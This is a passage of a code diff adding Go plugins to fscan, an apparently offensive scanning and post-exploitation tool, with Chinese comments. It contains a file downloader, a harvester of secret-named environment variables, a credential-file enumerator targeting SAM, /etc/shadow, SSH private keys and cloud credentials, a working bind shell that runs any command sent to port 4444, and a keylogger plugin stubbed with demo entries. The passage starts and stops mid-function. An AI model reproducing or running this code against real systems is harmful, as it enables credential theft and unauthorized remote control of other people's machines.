var err error
|
||||
saveDir, err = os.Getwd()
|
||||
if err != nil {
|
||||
return fmt.Errorf("获取当前目录失败: %w", err)
|
||||
}
|
||||
*savePath = filepath.Join(saveDir, filepath.Base(*savePath))
|
||||
}
|
||||
|
||||
// 确保目录存在
|
||||
if err := os.MkdirAll(saveDir, 0755); err != nil {
|
||||
return fmt.Errorf("创建保存目录失败: %w", err)
|
||||
}
|
||||
|
||||
// 检查写入权限
|
||||
testFile := filepath.Join(saveDir, ".fscan_write_test")
|
||||
file, err := os.Create(testFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("保存目录无写入权限: %w", err)
|
||||
}
|
||||
_ = file.Close() // 测试文件,Close错误可忽略
|
||||
_ = os.Remove(testFile)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// downloadFile 执行文件下载
|
||||
func (p *DownloaderPlugin) downloadFile(ctx context.Context, downloadURL, savePath string, downloadTimeout time.Duration, maxFileSize int64) (map[string]interface{}, error) {
|
||||
startTime := time.Now()
|
||||
|
||||
// 创建带超时的HTTP客户端
|
||||
client := &http.Client{
|
||||
Timeout: downloadTimeout,
|
||||
}
|
||||
|
||||
// 创建请求
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", downloadURL, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
|
||||
}
|
||||
|
||||
// 设置User-Agent
|
||||
req.Header.Set("User-Agent", "fscan-downloader/1.0")
|
||||
|
||||
// 发送请求
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("HTTP请求失败: %w", err)
|
||||
}
|
||||
defer func() { _ = resp.Body.Close() }() // HTTP响应体,Close错误可安全忽略
|
||||
|
||||
// 检查HTTP状态码
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status)
|
||||
}
|
||||
|
||||
// 检查文件大小
|
||||
contentLength := resp.ContentLength
|
||||
if contentLength > maxFileSize {
|
||||
return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)",
|
||||
contentLength, maxFileSize)
|
||||
}
|
||||
|
||||
// 创建保存文件
|
||||
outFile, err := os.Create(savePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建保存文件失败: %w", err)
|
||||
}
|
||||
defer func() { _ = outFile.Close() }() // 文件资源清理,Close错误可安全忽略
|
||||
|
||||
// 使用带限制的Reader防止过大文件
|
||||
limitedReader := io.LimitReader(resp.Body, maxFileSize)
|
||||
|
||||
// 复制数据
|
||||
written, err := io.Copy(outFile, limitedReader)
|
||||
if err != nil {
|
||||
// 清理部分下载的文件
|
||||
_ = os.Remove(savePath) // 清理临时文件,Remove错误可忽略
|
||||
return nil, fmt.Errorf("文件下载失败: %w", err)
|
||||
}
|
||||
|
||||
downloadTime := time.Since(startTime)
|
||||
|
||||
// 返回下载信息
|
||||
downloadInfo := map[string]interface{}{
|
||||
"save_path": savePath,
|
||||
"file_size": written,
|
||||
"content_type": resp.Header.Get("Content-Type"),
|
||||
"download_time": downloadTime,
|
||||
}
|
||||
|
||||
return downloadInfo, nil
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("downloader", func() Plugin {
|
||||
return NewDownloaderPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
//go:build (plugin_envinfo || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// EnvInfoPlugin 环境变量信息收集插件
|
||||
// 设计哲学:"做一件事并做好"
|
||||
// - 专注于环境变量收集
|
||||
// - 过滤敏感信息关键词
|
||||
// - 简单有效的实现
|
||||
type EnvInfoPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewEnvInfoPlugin 创建环境变量信息插件
|
||||
func NewEnvInfoPlugin() *EnvInfoPlugin {
|
||||
return &EnvInfoPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("envinfo"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行环境变量收集 - 直接、有效
|
||||
func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
var sensitiveVars []string
|
||||
|
||||
output.WriteString("=== 环境变量信息收集 ===\n")
|
||||
|
||||
// 获取所有环境变量
|
||||
envs := os.Environ()
|
||||
output.WriteString(fmt.Sprintf("总环境变量数: %d\n\n", len(envs)))
|
||||
|
||||
// 敏感关键词 - 直接硬编码,简单有效
|
||||
sensitiveKeywords := []string{
|
||||
"password", "passwd", "pwd", "secret", "key", "token",
|
||||
"auth", "credential", "api", "access", "session",
|
||||
"密码", "令牌", "密钥", "认证",
|
||||
}
|
||||
|
||||
// 重要环境变量 - 系统相关
|
||||
importantVars := []string{
|
||||
"PATH", "HOME", "USER", "USERNAME", "USERPROFILE", "TEMP", "TMP",
|
||||
"HOMEPATH", "COMPUTERNAME", "USERDOMAIN", "PROCESSOR_ARCHITECTURE",
|
||||
}
|
||||
|
||||
output.WriteString("=== 重要环境变量 ===\n")
|
||||
for _, envVar := range importantVars {
|
||||
if value := os.Getenv(envVar); value != "" {
|
||||
// PATH特殊处理 - 只显示条目数
|
||||
if envVar == "PATH" {
|
||||
paths := strings.Split(value, string(os.PathListSeparator))
|
||||
output.WriteString(fmt.Sprintf("%s: %d个路径\n", envVar, len(paths)))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("%s: %s\n", envVar, value))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 扫描所有环境变量寻找敏感信息
|
||||
output.WriteString("\n=== 潜在敏感环境变量 ===\n")
|
||||
for _, env := range envs {
|
||||
parts := strings.SplitN(env, "=", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
|
||||
envName := strings.ToLower(parts[0])
|
||||
envValue := parts[1]
|
||||
|
||||
// 检查是否包含敏感关键词
|
||||
for _, keyword := range sensitiveKeywords {
|
||||
if strings.Contains(envName, keyword) {
|
||||
// 脱敏显示:只显示前几个字符
|
||||
displayValue := envValue
|
||||
if len(envValue) > 10 {
|
||||
displayValue = envValue[:10] + "..."
|
||||
}
|
||||
|
||||
sensitiveInfo := fmt.Sprintf("%s: %s", parts[0], displayValue)
|
||||
sensitiveVars = append(sensitiveVars, sensitiveInfo)
|
||||
output.WriteString(sensitiveInfo + "\n")
|
||||
common.LogSuccess(i18n.Tr("envinfo_sensitive", parts[0]))
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(sensitiveVars) == 0 {
|
||||
output.WriteString("未发现明显的敏感环境变量\n")
|
||||
}
|
||||
|
||||
// 统计信息
|
||||
output.WriteString("\n=== 统计结果 ===\n")
|
||||
output.WriteString(fmt.Sprintf("总环境变量: %d个\n", len(envs)))
|
||||
output.WriteString(fmt.Sprintf("潜在敏感变量: %d个\n", len(sensitiveVars)))
|
||||
|
||||
// 按长度统计
|
||||
shortVars, longVars := 0, 0
|
||||
for _, env := range envs {
|
||||
if len(env) < 50 {
|
||||
shortVars++
|
||||
} else {
|
||||
longVars++
|
||||
}
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("短变量(<50字符): %d个\n", shortVars))
|
||||
output.WriteString(fmt.Sprintf("长变量(≥50字符): %d个\n", longVars))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: len(sensitiveVars) > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("envinfo", func() Plugin {
|
||||
return NewEnvInfoPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
//go:build (plugin_fileinfo || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// FileInfoPlugin 文件信息收集插件
|
||||
// 设计哲学:删除所有不必要的复杂性
|
||||
// - 没有继承体系
|
||||
// - 没有权限检查(让系统告诉我们)
|
||||
// - 没有平台检查(运行时错误更清晰)
|
||||
// - 没有复杂配置(直接硬编码关键路径)
|
||||
type FileInfoPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewFileInfoPlugin 创建文件信息插件
|
||||
func NewFileInfoPlugin() *FileInfoPlugin {
|
||||
return &FileInfoPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("fileinfo"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行本地文件扫描 - 直接、简单、有效
|
||||
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var foundFiles []string
|
||||
|
||||
// 扫描关键敏感文件位置 - 删除复杂的配置系统
|
||||
sensitiveFiles := p.getSensitiveFiles()
|
||||
for _, file := range sensitiveFiles {
|
||||
if p.fileExists(file) {
|
||||
foundFiles = append(foundFiles, file)
|
||||
common.LogSuccess(i18n.Tr("fileinfo_sensitive", file))
|
||||
}
|
||||
}
|
||||
|
||||
// 搜索用户目录下的敏感文件 - 简化搜索逻辑
|
||||
userFiles := p.searchUserFiles()
|
||||
foundFiles = append(foundFiles, userFiles...)
|
||||
|
||||
// 构建结果
|
||||
output := fmt.Sprintf("文件扫描完成 - 发现 %d 个敏感文件", len(foundFiles))
|
||||
if len(foundFiles) > 0 {
|
||||
output += "\n发现的文件:"
|
||||
for _, file := range foundFiles {
|
||||
output += "\n " + file
|
||||
}
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: len(foundFiles) > 0,
|
||||
Output: output,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// getSensitiveFiles 获取关键敏感文件列表 - 删除复杂的初始化逻辑
|
||||
func (p *FileInfoPlugin) getSensitiveFiles() []string {
|
||||
var files []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
files = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\Windows\\System32\\config\\SAM",
|
||||
"C:\\Windows\\repair\\sam",
|
||||
}
|
||||
|
||||
// 添加用户相关路径
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
files = append(files, []string{
|
||||
filepath.Join(homeDir, ".ssh", "id_rsa"),
|
||||
filepath.Join(homeDir, ".aws", "credentials"),
|
||||
filepath.Join(homeDir, ".azure", "accessTokens.json"),
|
||||
}...)
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
files = []string{
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.bash_history",
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/apache2/apache2.conf",
|
||||
}
|
||||
|
||||
// 添加用户相关路径
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
files = append(files, []string{
|
||||
filepath.Join(homeDir, ".ssh", "id_rsa"),
|
||||
filepath.Join(homeDir, ".aws", "credentials"),
|
||||
filepath.Join(homeDir, ".bash_history"),
|
||||
}...)
|
||||
}
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
// searchUserFiles 搜索用户目录敏感文件 - 简化搜索逻辑
|
||||
func (p *FileInfoPlugin) searchUserFiles() []string {
|
||||
var foundFiles []string
|
||||
|
||||
homeDir, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
// 关键目录 - 删除复杂的目录配置
|
||||
searchDirs := []string{
|
||||
filepath.Join(homeDir, "Desktop"),
|
||||
filepath.Join(homeDir, "Documents"),
|
||||
filepath.Join(homeDir, ".ssh"),
|
||||
filepath.Join(homeDir, ".aws"),
|
||||
}
|
||||
|
||||
// 敏感文件关键词 - 删除复杂的白名单系统
|
||||
keywords := []string{"password", "key", "secret", "token", "credential", "passwd"}
|
||||
|
||||
for _, dir := range searchDirs {
|
||||
if !p.dirExists(dir) {
|
||||
continue
|
||||
}
|
||||
|
||||
_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 限制深度和大小 - 简单有效
|
||||
if info.IsDir() || info.Size() > 1024*1024 { // 1MB
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查文件名是否包含敏感关键词
|
||||
filename := strings.ToLower(filepath.Base(path))
|
||||
for _, keyword := range keywords {
|
||||
if strings.Contains(filename, keyword) {
|
||||
foundFiles = append(foundFiles, path)
|
||||
common.LogSuccess(i18n.Tr("fileinfo_potential", path))
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
// fileExists 检查文件是否存在
|
||||
func (p *FileInfoPlugin) fileExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// dirExists 检查目录是否存在
|
||||
func (p *FileInfoPlugin) dirExists(path string) bool {
|
||||
info, err := os.Stat(path)
|
||||
return err == nil && info.IsDir()
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("fileinfo", func() Plugin {
|
||||
return NewFileInfoPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
//go:build (plugin_forwardshell || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// ForwardShellPlugin 正向Shell插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现Shell服务功能
|
||||
// - 保持原有功能逻辑
|
||||
type ForwardShellPlugin struct {
|
||||
plugins.BasePlugin
|
||||
listener net.Listener
|
||||
}
|
||||
|
||||
// NewForwardShellPlugin 创建正向Shell插件
|
||||
func NewForwardShellPlugin() *ForwardShellPlugin {
|
||||
return &ForwardShellPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("forwardshell"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行正向Shell服务 - 直接实现
|
||||
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
port := config.LocalExploit.ForwardShellPort
|
||||
if port <= 0 {
|
||||
port = 4444
|
||||
}
|
||||
|
||||
output.WriteString("=== 正向Shell服务器 ===\n")
|
||||
output.WriteString(fmt.Sprintf("监听端口: %d\n", port))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 启动正向Shell服务器
|
||||
err := p.startForwardShellServer(ctx, port, state)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("正向Shell服务器错误: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ 正向Shell服务已完成\n")
|
||||
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// startForwardShellServer 启动正向Shell服务器
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %w", err)
|
||||
}
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("forwardshell_started", port))
|
||||
|
||||
// 设置正向Shell为活跃状态
|
||||
state.SetForwardShellActive(true)
|
||||
defer func() {
|
||||
state.SetForwardShellActive(false)
|
||||
}()
|
||||
|
||||
// 主循环处理连接
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 设置监听器超时
|
||||
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||
_ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
common.LogError(i18n.Tr("forwardshell_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||
go p.handleClient(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// 发送欢迎信息
|
||||
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
|
||||
_, _ = clientConn.Write([]byte(welcome))
|
||||
|
||||
// 创建命令处理器
|
||||
scanner := bufio.NewScanner(clientConn)
|
||||
|
||||
for scanner.Scan() {
|
||||
command := strings.TrimSpace(scanner.Text())
|
||||
|
||||
if command == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if command == "exit" {
|
||||
_, _ = clientConn.Write([]byte("Goodbye!\n"))
|
||||
break
|
||||
}
|
||||
|
||||
// 执行命令并返回结果
|
||||
p.executeCommand(clientConn, command)
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
common.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行命令并返回结果
|
||||
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// 根据平台创建命令
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/c", command)
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("/bin/sh", "-c", command)
|
||||
default:
|
||||
_, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS)
|
||||
return
|
||||
}
|
||||
|
||||
// 设置命令超时
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
_, _ = conn.Write([]byte("命令执行超时\n"))
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
_, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 发送命令输出
|
||||
if len(output) == 0 {
|
||||
_, _ = conn.Write([]byte("(命令执行成功,无输出)\n"))
|
||||
} else {
|
||||
_, _ = conn.Write(output)
|
||||
if !strings.HasSuffix(string(output), "\n") {
|
||||
_, _ = conn.Write([]byte("\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// 发送命令提示符
|
||||
prompt := p.getPrompt()
|
||||
_, _ = conn.Write([]byte(prompt))
|
||||
}
|
||||
|
||||
// getPrompt 获取平台特定的命令提示符
|
||||
func (p *ForwardShellPlugin) getPrompt() string {
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USER")
|
||||
if username == "" {
|
||||
username = os.Getenv("USERNAME") // Windows
|
||||
}
|
||||
if username == "" {
|
||||
username = "user"
|
||||
}
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return fmt.Sprintf("%s@%s> ", username, hostname)
|
||||
case "linux", "darwin":
|
||||
return fmt.Sprintf("%s@%s$ ", username, hostname)
|
||||
default:
|
||||
return fmt.Sprintf("%s@%s# ", username, hostname)
|
||||
}
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("forwardshell", func() Plugin {
|
||||
return NewForwardShellPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
//go:build (plugin_keylogger || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// KeyloggerPlugin 键盘记录插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现键盘记录功能
|
||||
// - 保持原有功能逻辑
|
||||
type KeyloggerPlugin struct {
|
||||
plugins.BasePlugin
|
||||
isRunning bool
|
||||
stopChan chan struct{}
|
||||
keyBuffer []string
|
||||
bufferMutex sync.RWMutex
|
||||
}
|
||||
|
||||
// NewKeyloggerPlugin 创建键盘记录插件
|
||||
func NewKeyloggerPlugin() *KeyloggerPlugin {
|
||||
return &KeyloggerPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("keylogger"),
|
||||
stopChan: make(chan struct{}),
|
||||
keyBuffer: make([]string, 0),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行键盘记录 - 直接实现
|
||||
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
outputFile := config.LocalExploit.KeyloggerOutputFile
|
||||
if outputFile == "" {
|
||||
outputFile = "keylog.txt"
|
||||
}
|
||||
|
||||
output.WriteString("=== 键盘记录 ===\n")
|
||||
output.WriteString(fmt.Sprintf("输出文件: %s\n", outputFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 检查输出文件权限
|
||||
if err := p.checkOutputFilePermissions(outputFile); err != nil {
|
||||
output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查平台要求
|
||||
if err := p.checkPlatformRequirements(); err != nil {
|
||||
output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 启动键盘记录
|
||||
err := p.startKeylogging(ctx, outputFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 输出结果
|
||||
output.WriteString("✓ 键盘记录已完成\n")
|
||||
output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)))
|
||||
output.WriteString(fmt.Sprintf("日志文件: %s\n", outputFile))
|
||||
|
||||
common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// startKeylogging 启动键盘记录
|
||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error {
|
||||
p.isRunning = true
|
||||
defer func() {
|
||||
p.isRunning = false
|
||||
}()
|
||||
|
||||
// 根据平台启动相应的键盘记录
|
||||
var err error
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
err = p.startWindowsKeylogging(ctx)
|
||||
case "linux":
|
||||
err = p.startLinuxKeylogging(ctx)
|
||||
case "darwin":
|
||||
err = p.startDarwinKeylogging(ctx)
|
||||
default:
|
||||
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("键盘记录失败: %w", err)
|
||||
}
|
||||
|
||||
// 保存到文件
|
||||
if err := p.saveKeysToFile(outputFile); err != nil {
|
||||
common.LogError(i18n.Tr("keylogger_save_failed", err))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkOutputFilePermissions 检查输出文件权限
|
||||
func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error {
|
||||
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法创建输出文件 %s: %w", outputFile, err)
|
||||
}
|
||||
_ = file.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkPlatformRequirements 检查平台特定要求
|
||||
func (p *KeyloggerPlugin) checkPlatformRequirements() error {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return p.checkWindowsRequirements()
|
||||
case "linux":
|
||||
return p.checkLinuxRequirements()
|
||||
case "darwin":
|
||||
return p.checkDarwinRequirements()
|
||||
default:
|
||||
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
}
|
||||
}
|
||||
|
||||
// addKeyToBuffer 添加按键到缓冲区
|
||||
func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
|
||||
p.bufferMutex.Lock()
|
||||
defer p.bufferMutex.Unlock()
|
||||
|
||||
timestamp := time.Now().Format("2006-01-02 15:04:05")
|
||||
entry := fmt.Sprintf("[%s] %s", timestamp, key)
|
||||
p.keyBuffer = append(p.keyBuffer, entry)
|
||||
}
|
||||
|
||||
// saveKeysToFile 保存键盘记录到文件
|
||||
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
|
||||
p.bufferMutex.RLock()
|
||||
defer p.bufferMutex.RUnlock()
|
||||
|
||||
if len(p.keyBuffer) == 0 {
|
||||
common.LogInfo(i18n.GetText("keylogger_no_input"))
|
||||
return nil
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法打开输出文件: %w", err)
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
// 写入头部信息
|
||||
header := "=== 键盘记录日志 ===\n"
|
||||
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
|
||||
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
|
||||
header += "========================\n\n"
|
||||
|
||||
if _, err := file.WriteString(header); err != nil {
|
||||
return fmt.Errorf("写入头部信息失败: %w", err)
|
||||
}
|
||||
|
||||
// 写入键盘记录
|
||||
for _, entry := range p.keyBuffer {
|
||||
if _, err := file.WriteString(entry + "\n"); err != nil {
|
||||
return fmt.Errorf("写入键盘记录失败: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 平台特定的键盘记录实现 - 简化版本,仅做演示
|
||||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
// Windows平台键盘记录实现
|
||||
// 在实际实现中需要使用Windows API
|
||||
p.addKeyToBuffer("演示键盘记录 - Windows平台")
|
||||
|
||||
// 模拟记录一段时间
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
case <-time.After(5 * time.Second):
|
||||
// 模拟结束
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
// Linux平台键盘记录实现
|
||||
// 在实际实现中需要访问/dev/input/event*设备
|
||||
p.addKeyToBuffer("演示键盘记录 - Linux平台")
|
||||
|
||||
// 模拟记录一段时间
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
case <-time.After(5 * time.Second):
|
||||
// 模拟结束
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
// macOS平台键盘记录实现
|
||||
// 在实际实现中需要使用Core Graphics框架
|
||||
p.addKeyToBuffer("演示键盘记录 - macOS平台")
|
||||
|
||||
// 模拟记录一段时间
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
